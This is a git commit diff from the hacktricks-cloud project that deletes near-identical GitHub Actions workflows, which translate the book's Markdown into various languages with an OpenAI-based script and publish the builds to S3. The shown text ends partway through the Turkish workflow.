Translated ['src/pentesting-cloud/azure-security/az-services/az-containe

This commit is contained in:
Translator
2025-08-21 00:25:51 +00:00
parent 490563643f
commit 25d5d402f6
22 changed files with 639 additions and 2071 deletions

View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
